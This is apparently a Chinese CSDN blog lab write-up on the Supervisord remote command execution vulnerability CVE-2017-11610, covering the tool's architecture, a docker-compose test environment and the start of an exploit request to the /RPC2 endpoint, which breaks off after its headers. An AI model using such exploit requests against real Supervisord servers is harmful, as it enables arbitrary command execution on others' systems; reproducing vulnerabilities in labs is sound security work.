Supervisord 远程命令执行漏洞（CVE-2017-11610）

最新推荐文章于 2023-06-07 18:58:32 发布

GuiltyFet

最新推荐文章于 2023-06-07 18:58:32 发布

阅读量698

点赞数

分类专栏：漏洞文章标签： linux 运维服务器

本文链接：https://blog.csdn.net/weixin_51387754/article/details/125117317

版权

本文详细介绍了Supervisord的远程命令执行漏洞（CVE-2017-11610），该漏洞允许攻击者通过利用Supervisord的API执行任意命令。文章讨论了运行环境的设置，如何测试漏洞，并提及了@Ricter提出的利用log文件回显命令结果的方法。

摘要由CSDN通过智能技术生成

Supervisord是一款Python开发，用于管理后台应用（服务）的工具，其角色类似于Linux自带的Systemd。
它相比Systemd有几个特点：

配置比较简单
一个简单的第三方应用，与系统没有耦合
提供HTTP API，支持远程操作

Supervisord的架构分为Server和Client，Server以一个服务的形式，跑在系统后台，而Client是一个命令行工具，其实就是根据用户的要求，调用Server提供的API，执行一些工作。

docker-compose build

在这里插入图片描述
出现下列才算成功

Successfully built ea413f911658
Successfully tagged cve-2017-11610_web:latest

docker-compose up -d

在这里插入图片描述

环境启动后，访问http://your-ip:9001即可查看Supervisord的页面。
http://127.0.0.1:9001/

在这里插入图片描述

在这里插入图片描述
进行修改直接执行任意命令：

POST /RPC2 HTTP/1.1
Host: 127.0.0.1:9001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.

关注

专栏目录